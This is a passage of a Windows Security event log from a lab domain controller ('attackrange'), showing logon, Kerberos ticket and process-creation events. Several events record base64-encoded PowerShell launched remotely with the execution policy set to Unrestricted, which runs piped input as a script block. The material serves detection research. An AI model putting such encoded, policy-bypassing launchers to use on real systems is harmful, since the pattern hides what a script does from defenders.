-ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250667 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x116E39 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250666 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x116E39 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250665 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250664 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250663 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250662 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250661 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1390 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250660 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x115AC3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250659 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x115AC3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250658 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250657 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250656 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250655 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1390 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaa8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250654 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaa8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1340 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250653 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1158E3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250652 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon 